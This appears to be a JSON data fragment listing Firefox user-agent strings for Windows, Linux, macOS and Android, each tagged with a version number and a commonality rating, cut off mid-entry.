    "content": "[{\"commonality\":\"Very common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Very common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Very common\",\"version\":\"40.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.1\"},{\"commonality\":\"Very common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Very common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Very common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Very common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Very common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Very common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Very common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Very common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Very common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Very common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Very common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Very common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Very common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Very common\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Very common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Very common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Very common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Very common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Very common\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko\\/20100101 Firefox\\/15.0\"},{\"commonality\":\"Very common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Very common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Very common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:10.0) Gecko\\/20150101 Firefox\\/47.0 (Chrome)\"},{\"commonality\":\"Very common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Very common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Very common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Very common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Very common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Very common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Very common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Very common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Very common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Very common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko\\/20100101 Firefox\\/26.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Common\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:10.0) Gecko\\/20150101 Firefox\\/20.0 (Chrome)\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:6.0.2) Gecko\\/20100101 Firefox\\/6.0.2\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Common\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko\\/20100101 Firefox\\/4.0\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Common\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Common\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Common\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko\\/20120101 Firefox\\/29.0\"},{\"commonality\":\"Common\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Common\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:10.0) Gecko\\/20150101 Firefox\\/44.0 (Chrome)\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Common\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Common\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko\\/20120101 Firefox\\/33.0\"},{\"commonality\":\"Common\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko\\/2008070208 Firefox\\/3.0.1\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:38.0) Gecko\\/38.0 Firefox\\/38.0\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:10.0) Gecko\\/20100101 Firefox\\/10.0 (Chrome)\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:15.0) Gecko\\/20120716 Firefox\\/15.0a2\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Common\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:40.0) Gecko\\/20100101 